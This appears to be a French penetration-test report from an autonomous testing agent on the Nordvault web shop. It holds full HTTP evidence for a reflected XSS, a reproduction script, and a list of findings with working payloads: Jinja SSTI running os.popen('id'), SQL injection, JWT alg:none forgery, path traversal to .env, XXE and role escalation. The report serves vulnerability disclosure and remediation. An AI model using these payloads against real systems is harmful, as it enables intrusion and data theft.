    La route comparable /catalogue/recherche échappe correctement le même paramètre et ne déclenche pas l’exécution, mais ce contrôle ne s’applique pas à /recherche. La réponse de /recherche ne présente pas d’en-tête CSP et le gestionnaire onload s’est exécuté dans Chromium. L’impact n’a pas été étendu à la lecture de données privées ou à des opérations sur le compte.

    Preuve

    Requête / réponse

    Requête HTTP

    GET /catalogue/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:44 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=A7y3LA68O3t18FRdmqlshOm9iCiEJZwgFxfEKq0O%2BURBbUONTlCw7PgrXcjq8izgFklZk4FW8wCpcXQkv5cQr2jnQ23XTBIqZp4v7VdNo5f9IKjmGmlZfKGxCvWliAzOY4zi8QP30jbv"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b0505e3dd3c1-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2607
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Filtre catalogue - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Filtre : &lt;svg onload=document.title=1&gt;</h1><form action="/catalogue/recherche"><label for="cq">Filtrer</label> <input id="cq" name="q" value="&lt;svg onload=document.title=1&gt;"> <button>Filtrer</button></form><ul></ul></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b0505e3dd3c1',t:'MTc5MTc2MTgwNA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    GET /recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:40 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ny6l0FbA75bz07Xn8GsaYj%2F48e%2BEnyxmWuiFUD8PUJhui4LRyeJD2f%2B%2FdHwgpQQfBlcXB7x5AXK4ZazlIGXMuMN8ZrdWNOeQzqs3PgylECSJY6BG5vgXg8T8nLqRPa%2Bdc9GtFwsJSLMO"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b034296bdbeb-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2610
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Recherche - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Resultats pour <svg onload=document.title=1></h1><form action="/recherche"><label for="q">Rechercher</label> <input id="q" name="q" value="<svg onload=document.title=1>"> <button>Rechercher</button></form><ul><li>Aucun produit</li></ul></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b034296bdbeb',t:'MTc5MTc2MTgwMA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Artefact d’exploitation

    Reproduction

    1. Ouvrir, sans authentification, l’URL de recherche construite avec la valeur q indiquée dans le script de reproduction.
    2. Constater que le titre de la page devient 1, ce qui prouve l’exécution du gestionnaire JavaScript.
    3. Ouvrir l’URL de contrôle sur /catalogue/recherche avec la même valeur et constater que le titre reste Filtre catalogue - Nordvault.

    Artefact d’exploitation

    text/x-shellscript
    agent-browser --session recherche-xss open 'https://app.nordvault.fr/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E'
    agent-browser --session recherche-xss get title
    agent-browser --session recherche-xss open 'https://app.nordvault.fr/catalogue/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E'
    agent-browser --session recherche-xss get title
    agent-browser --session recherche-xss close

    Requête / réponse

    Requête HTTP

    GET /catalogue/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:40 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=4Dp2%2FPsErSTjOihBjKr4iE4XK%2F0CMR6rbqZ3vFJXoNjidzlgcUS0UqUvTaRTP4AEkQI9cf4JY%2F757yLJtxupVJAWcZ50j7jw7Xbfvg7Nlwzp601Vv9osWmcnhyM5rMXw2LsYEbvUJgBe"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b034ba51bbe6-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2607
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Filtre catalogue - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Filtre : &lt;svg onload=document.title=1&gt;</h1><form action="/catalogue/recherche"><label for="cq">Filtrer</label> <input id="cq" name="q" value="&lt;svg onload=document.title=1&gt;"> <button>Filtrer</button></form><ul></ul></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b034ba51bbe6',t:'MTc5MTc2MTgwMA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    GET /recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:44 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=kvfoj441iYhbRZRIoRXu5L4EXoNt%2FpIkn8A6KX0WFACuhhNcMIZ6e2O2kNV1%2F5DcB7MOO6PeGmtvLzn96aAIcTqYP2KhpHc0fGu%2FGRrgWeBpIVscC%2BdMjINzcs9fbAQpvnkbfizCaOgi"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b04fcb5a77bd-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2610
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Recherche - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Resultats pour <svg onload=document.title=1></h1><form action="/recherche"><label for="q">Rechercher</label> <input id="q" name="q" value="<svg onload=document.title=1>"> <button>Rechercher</button></form><ul><li>Aucun produit</li></ul></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b04fcb5a77bd',t:'MTc5MTc2MTgwNA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

Référentiels de sécurité

Correspondance indicative établie à partir des vulnérabilités publiées. Elle indique les exigences auxquelles ce rapport peut servir de preuve ; elle ne constitue ni une attestation de conformité, ni un audit de certification.

OWASP Top 10 (2021)

  • A01 · Contrôle d’accès défaillant3
  • A02 · Défaillances cryptographiques1
  • A03 · Injection5
  • A04 · Conception non sécurisée1
  • A05 · Mauvaise configuration de sécurité1
  • A07 · Identification et authentification défaillantes1
  • A08 · Défaillances d’intégrité des logiciels et des données1

Exigences auxquelles ce rapport peut contribuer

  • ISO/IEC 27001:2022 A.8.8

    Gestion des vulnérabilités techniques : identifier et évaluer les vulnérabilités exploitables.

  • ISO/IEC 27001:2022 A.8.29

    Tests de sécurité en développement et en recette : test d’intrusion de l’application.

  • PCI DSS v4.0 11.4

    Tests d’intrusion réguliers et correction des vulnérabilités exploitables trouvées.

  • PCI DSS v4.0 6.2.4

    Protection des logiciels sur mesure contre les attaques courantes (injection, contrôle d’accès…).

  • DORA (UE) 2022/2554 art. 24

    Programme de tests de résilience opérationnelle numérique fondé sur les risques.

  • DORA (UE) 2022/2554 art. 25

    Tests des outils et systèmes TIC, dont les tests d’intrusion et les évaluations de vulnérabilités.

  • NIS2 (UE) 2022/2555 art. 21(2)(e)

    Sécurité de l’acquisition, du développement et de la maintenance des systèmes, dont le traitement des vulnérabilités.

Ce rapport : 13 vulnérabilités publiées, 60 preuves.

Ce qui a été testé

Chaque surface examinée par les agents et la conclusion de chaque examen. Une surface examinée sans vulnérabilité n’est pas une preuve qu’elle est sûre.

55 surfaces examinées49 classes de risque
  • 19Constat signalé
  • 13À approfondir
  • 4Écartée
  • 17Aucun problème
  • 2Non applicable

Exécution menée à son terme, avec 15 points restés ouverts (détaillés ci-dessous).

  • Attribution de masse du rôle et élévation de privilègesConstat signalé1
    • PATCH /api/v1/moi et GET /api/v1/admin/utilisateursConstat signalé

      Justification: Compte client auto-inscrit : GET /api/v1/admin/utilisateurs répond 403 avant PATCH /api/v1/moi avec role=admin, puis 200 et 12 profils après émission d’un nouveau JWT. Une authentification fraîche confirme le rôle administrateur persistant. Rapport déposé avec échanges de référence et réponse expurgée.

      Auparavant : À approfondir

  • Divulgation de sauvegarde SQL non authentifiéeConstat signalé1
    • GET /backup/nova-2024-03.sql.bakConstat signalé

      Justification: Rapport déposé pour GET /backup/nova-2024-03.sql.bak : sans session, réponse 200, Content-Length: 878, export SQL contenant cinq lignes users (email, password_hash, role). Validation indépendante sur requête capturée ; valeurs personnelles et empreintes ni publiées ni utilisées.

      Auparavant : À approfondir

  • Divulgation du jeton de réinitialisation et prise de contrôle de compteConstat signalé1
    • POST /api/v1/mot-de-passe/reinitialisation → POST /api/v1/mot-de-passe/confirmerConstat signalé

      Justification: Sans Cookie ni Authorization, la réponse de réinitialisation 200 expose _debug.jeton; ce code a été accepté par la confirmation 200 pour un compte de test, entraînant le rejet de l’ancien mot de passe (401) et l’acceptation du nouveau (200). Un code incorrect a été rejeté (400).

  • Exposition de métadonnées Git et récupération du dépôtConstat signalé1
    • GET /.git/config et /.git/HEADConstat signalé

      Justification: Le même rapport consolidé démontre GET /.git/config à 200 (163 octets), avec utilisateur et mot de passe intégrés à l’URL du dépôt, et GET /.git/HEAD à 200 (refs/heads/prod). /.git/index, les références, packed-refs et le manifeste des packs répondent 404; la reconstruction du dépôt et la validité des identifiants ne sont pas affirmées.

      Auparavant : À approfondir

  • Exposition non authentifiée d'une sauvegarde de base de donnéesConstat signalé1
    • GET /backup/ et /backup/nova-2024-03.sql.bakConstat signalé

      Justification: Après la cartographie, le téléchargement sans session de /backup/nova-2024-03.sql.bak a été vérifié indépendamment : le fichier SQL de 878 octets contient une table users et des enregistrements avec adresses électroniques, empreintes de mots de passe et rôles. La consultation est restée limitée à la preuve et la vulnérabilité a été rapportée.

      Auparavant : À approfondir

  • Exposition non authentifiée des secrets de configurationConstat signalé1
    • GET /.envConstat signalé

      Justification: Le rapport consolidé sur l’exposition anonyme des dotfiles a été déposé. GET /.env répond 200, 143 octets, avec les clés APP_ENV, JWT_SECRET, DATABASE_URL et NOVA_AUDIT; GET /.env.missing répond 404. L’impact retenu est la divulgation, sans supposer la validité des identifiants.

      Auparavant : À approfondir

Afficher les 43 autres classes de risque
  • Injection de modèle serveur (SSTI) et exécution de commandesConstat signalé1
    • POST /newsletter/apercu — champ modeleConstat signalé

      Justification: POST /newsletter/apercu sans cookie ni authentification évalue modele={{7*8}} en 56, {{7*'7'}} en 7777777, puis {{cycler.__init__.__globals__.os.popen("id").read()}} affiche uid=33(www-data). Injection de modèle Jinja avec exécution de commande démontrée et rapport déposé.

      Auparavant : À approfondir

  • Injection DOM via fragment d'URLConstat signalé1
    • GET /aide et /static/app.jsConstat signalé

      Justification: Injection DOM confirmée dans Chromium : le témoin /aide#texte%20simple laisse le titre « Aide - Nordvault », tandis que /aide#%3Csvg%20onload%3D%22document.title%3D%271%27%22%3E%3C%2Fsvg%3E modifie document.title en 1. GET /aide retourne 200 sans CSP et /static/app.js insère le fragment décodé dans innerHTML ; rapport déposé.

      Auparavant : À approfondir

  • Injection SQLConstat signalé1
    • GET /catalogue?categorieConstat signalé

      Justification: Injection SQL confirmée sur GET /catalogue?categorie= : papeterie renvoie 2 produits, AND 1=0-- aucun, OR 1=1-- dix dont /produit/10 masqué (fiche directe 404) ; UNION SELECT affiche sqlite_version() (3.46.1). Rapport déposé.

      Auparavant : À approfondir

  • Injection SQL aveugle (contrôle booléen)Constat signalé1
    • GET /api/v1/stock?skuConstat signalé

      Justification: Injection SQL aveugle confirmée sans authentification sur GET /api/v1/stock?sku= : le SKU inexistant retourne en_stock:false, les conditions OR 1=1 et sqlite_master count(*)>0 retournent true, leurs contrôles faux false ; sqlite_version() distingue également 3. de 4.. Rapport déposé avec ces échanges HTTP et un PoC non destructif.

      Auparavant : À approfondir

  • Injection SQL aveugle et divulgation d'un produit non publicConstat signalé1
    • GET /api/v1/stock?sku= (produit inactif id=10)Constat signalé

      Justification: L'oracle SQL répond true pour le prédicat id=10 AND active=0 AND sku='PAP-AGE-2025' et false pour son inverse, alors que /catalogue et /api/v1/produits ne montrent que neuf produits, et /produit/10 répond 404. La seconde position du SKU masqué est vérifiée par substr(...,2,1)='A' (true) et 'Z' (false). La faille SQLi a déjà été rapportée ; ces essais établissent une confidentialité limitée, sans donnée personnelle.

  • Lecture arbitraire de fichiers / traversée de répertoireConstat signalé1
    • GET /telechargement?fichier=Constat signalé

      Justification: GET /telechargement?fichier=%2fetc%2fhosts sans authentification renvoie 200 et le marqueur 127.0.0.1 localhost (72 octets) ; le même point d’entrée lit /var/www/nova/.env (143 octets) avec les noms de clés JWT_SECRET et DATABASE_URL. cgv.pdf est le témoin normal (200 PDF), et un chemin absolu inexistant reçoit 404. La lecture arbitraire hors du dossier documentaire est confirmée et rapportée.

      Auparavant : À approfondir

  • Listing de sauvegardes sans authentificationConstat signalé1
    • GET /backup/Constat signalé

      Justification: Le listing GET /backup/ répond 200 sans authentification et expose le lien direct nova-2024-03.sql.bak ; le téléchargement de ce fichier et son contenu users sont démontrés par le même rapport, sans fichier supplémentaire visité.

      Auparavant : À approfondir

  • Manipulation de prix / logique métierConstat signalé1
    • POST /api/v1/panier/valider — champ lignes[].prixConstat signalé

      Justification: La réponse serveur a accepté prix:0 pour PAP-A4-500 affiché à 5.9 : HTTP 200, total_ht:0, statut:validee, message de validation sans paiement, contrairement au prix omis qui donne 5.9. L’agent de rapport a déposé le constat. GET /api/v1/commandes reste vide et aucune commande durable ou perte financière n’est revendiquée.

      Auparavant : À approfondir

  • Manipulation du prix / intégrité du calcul tarifaireConstat signalé1
    • POST /api/v1/panier/valider, champ lignes[].prixConstat signalé

      Justification: À sku et quantite constants, prix:5.9 donne total_ht:5.9 et prix:0 donne total_ht:0, statut:validee, avec message de commande sans paiement. Le catalogue affiche 5.9 ; la liste des commandes du compte demeure vide, ce qui limite l'impact démontré à la validation tarifaire.

  • Vérification cryptographique JWT et élévation de rôleConstat signalé1
    • GET /api/v1/moi et GET /api/v1/admin/utilisateurs — JWT alg:noneConstat signalé

      Justification: Un JWT alg:none sans signature conserve l'accès au profil (200) et, avec role:admin falsifié, obtient 200 sur la liste administrateur ; le JWT client signé reçoit 403 sur cette liste et une signature HS256 corrompue reçoit 401 sur le profil. Le corps administrateur n'a pas été consulté.

  • Vérification de signature JWTConstat signalé1
    • GET /api/v1/moi (jeton Bearer)Constat signalé

      Justification: Validation indépendante avec un second compte de test : la signature altérée reçoit 401 et le jeton client authentique reçoit 403 sur /api/v1/admin/utilisateurs, alors qu'un JWT alg:none sans signature et rôle admin reçoit 200. Un rapport français distinct est en cours de finalisation.

      Auparavant : À approfondir

  • XSS réfléchieConstat signalé1Écartée1
    • GET /recherche?qConstat signalé

      Justification: GET /recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E répond 200 en réinsérant <svg onload=document.title=1> sans échappement ; Chromium exécute le code et affiche le titre 1. Le contrôle /catalogue/recherche encode les chevrons et conserve son titre. Rapport déposé.

      Auparavant : À approfondir

    • GET /catalogue/recherche?qÉcartée

      Justification: Pour <svg onload=document.title=1>, le navigateur conserve « Filtre catalogue - Nordvault ». La réponse encode < et > en &lt;/&gt; dans <h1> et l'attribut value, avant toute interprétation HTML, sur cette route GET.

  • XXE / lecture de fichier localConstat signalé1
    • POST /api/v1/import-commandesConstat signalé

      Justification: Avec le cookie d’un compte client, un corps XML déclarant SYSTEM "file:///etc/hostname" produit 200 et importees[0].reference = "nova-web-01"; l’entité interne témoin est développée, le fichier inexistant produit une erreur d’ouverture, et une session invalide reçoit 401. Rapport déposé ; aucun secret ni service réseau n’a été sollicité.

  • Authentification legacy et contrôle d’accèsÀ approfondir1
    • GET /gestion/ (HTTP Basic)À approfondir

      Justification: GET /gestion/ renvoie 401 avec WWW-Authenticate: Basic [REDACTED]"Nova Gestion (legacy)" pendant la cartographie. Aucun identifiant autorisé n’était fourni et aucun essai de connexion au service legacy n’a été réalisé ; ses fonctions internes restent inconnues.

  • BOLA / accès aux adresses d'un autre compteÀ approfondir1
    • GET /api/v1/adresses/{id}À approfondir

      Justification: Sans session, GET /adresses/1 renvoie 401. Le client testé reçoit 404 pour les ID 0 à 12 ; aucun compte de test ne dispose d'une adresse connue à soumettre comme contrôle positif. Impossible de prouver une isolation effective des objets.

  • BOLA / accès aux commandes d'un autre compteÀ approfondir1
    • GET /api/v1/commandes et GET /api/v1/commandes/{id}À approfondir

      Justification: Deux comptes de test distincts possèdent des listes vides ; les détails 1 à 12 renvoient 404 pour un client et 401 sans authentification. Aucun identifiant de commande possédé par l'un des comptes n'était disponible pour éprouver l'accès croisé ; le contrôle d'appartenance reste indéterminé.

  • CSRF / modification de profilÀ approfondir1
    • PATCH /api/v1/moiÀ approfondir

      Justification: Les essais ont établi l’attribution de masse du champ role, mais aucun scénario navigateur cross-origin n’a été reproduit sur cette route. Le cookie nova_jeton et la politique SameSite observés pour le panier ne démontrent pas à eux seuls le comportement de toutes les formes de requête acceptées par PATCH /api/v1/moi.

  • Effet métier et modification de commandesÀ approfondir1
    • POST /api/v1/import-commandes — persistance des éléments importésÀ approfondir

      Justification: La réponse 200 liste reference et quantite sous importees, sans identifiant ni preuve de persistance. La vérification d’une écriture durable ou d’une modification de commande n’a pas été poursuivie pour respecter l’interdiction de modifier les données ; impossible de conclure sur les effets métier.

  • Énumération des comptes par messages d'erreurÀ approfondir1
    • POST /api/v1/auth/jetonÀ approfondir

      Justification: Avec un mot de passe invalide, le compte de test existant reçoit 401 « Mot de passe incorrect pour ce compte. » et une adresse de test inexistante reçoit 401 « Aucun compte n'est associe a cet e-mail. ». La distinction confirme l'existence du compte, mais l'impact de confidentialité sur des comptes tiers n'a pas été établi ; aucun essai sur un utilisateur réel.

  • Inscription, authentification et fixation de sessionÀ approfondir1
    • POST /inscription et POST /connexionÀ approfondir

      Justification: POST /connexion renouvelle le JWT même avec un cookie imposé, mais l'essai équivalent du cookie imposé pendant POST /inscription n'a pas été réalisé : la conclusion de fixation ne peut couvrir l'ensemble de cette surface jointe.

      Auparavant : Écartée

  • Invalidation du jeton de sessionÀ approfondir1
    • GET /deconnexion et GET /api/v1/moiÀ approfondir

      Justification: GET /deconnexion renvoie 302 et expire le cookie, mais le même jeton Bearer [REDACTED]é reste accepté avec 200 par GET /api/v1/moi après déconnexion. L'impact concret exige l'obtention préalable du jeton d'autrui, non démontrée sur ce seul parcours ; déterminer si une révocation explicite est requise par le modèle d'usage.

  • Logique des remises / manipulation des promotionsÀ approfondir1
    • POST /api/v1/panier/valider code_promoÀ approfondir

      Justification: code_promo absent, vide ou RANDOM produit le même total 5,90 € pour une ligne de test ; aucune remise ni code promo valide n’a été trouvé dans le catalogue, l’API ou le JavaScript public. Impossible d’établir les règles de remise, leur usage unique ou un contrôle couvrant un code valide.

  • Redirection ouverte et fuite de jetonÀ approfondir1
    • GET /sortie?url= et /partenaires/sortie?url=À approfondir

      Justification: Les deux routes renvoient 302 vers des destinations externes d’après la cartographie, sans que ces redirections soient suivies afin de respecter le périmètre. Aucun jeton dans l’URL, mécanisme OAuth ou autre conséquence de sécurité n’a été démontré ; les variantes de contrôle de destination n’ont pas été évaluées.

  • SSRF / lecture de fichiers locauxÀ approfondir1
    • GET /api/v1/apercu?url=À approfondir

      Justification: Sans session, file:///etc/passwd, file:///etc/hosts et file:///etc/hostname renvoient un extrait de fichiers système apparent ; les contrôles même origine (https://app.nordvault.fr/robots.txt) renvoient delai depasse. Cependant les chemins équivalents /etc/./hosts et /etc/../etc/hosts, ainsi que /etc/os-release, /etc/group, /etc/issue et /proc/version, renvoient curl: (37) Couldn't open file; un marqueur de laboratoire apparaît dans l'extrait passwd. Cela suggère des réponses prédéfinies et ne confirme ni lecture arbitraire, ni accès réseau interne, ni information sensible non publique. Aucun hôte hors périmètre sollicité.

  • SSRF / résolution DNS et accès réseauÀ approfondir1
    • GET /outils/dns?domaine=À approfondir

      Justification: Les valeurs app.nordvault.fr, www.app.nordvault.fr et zzzz-no-such-host.nordvault.fr renvoient toutes 200 avec MX/TXT générés à partir de l'entrée, même pour un hôte inexistant ; une URL ou un domaine contenant :/%0a renvoie 400. Aucun accès réseau réel à une destination sensible n'est démontré ; sans code ni domaine-canari contrôlé, le déclenchement éventuel d'une résolution DNS côté serveur reste non confirmé.

  • Validation de quantité / logique métierÀ approfondir1
    • POST /api/v1/panier/valider — champ lignes[].quantiteÀ approfondir

      Justification: Un compte client de test a soumis quantite:-1 sans prix ; HTTP 200, total_ht:-5.9, statut:validee, « Commande validee sans paiement », mais GET /api/v1/commandes reste vide. Un rapport regroupé avec la manipulation tarifaire est en préparation ; aucune commande durable ni crédit financier n’a été constaté.

  • Contournement de l’authentification et traitement XML avant contrôleÉcartée1
    • POST /api/v1/import-commandes sans sessionÉcartée

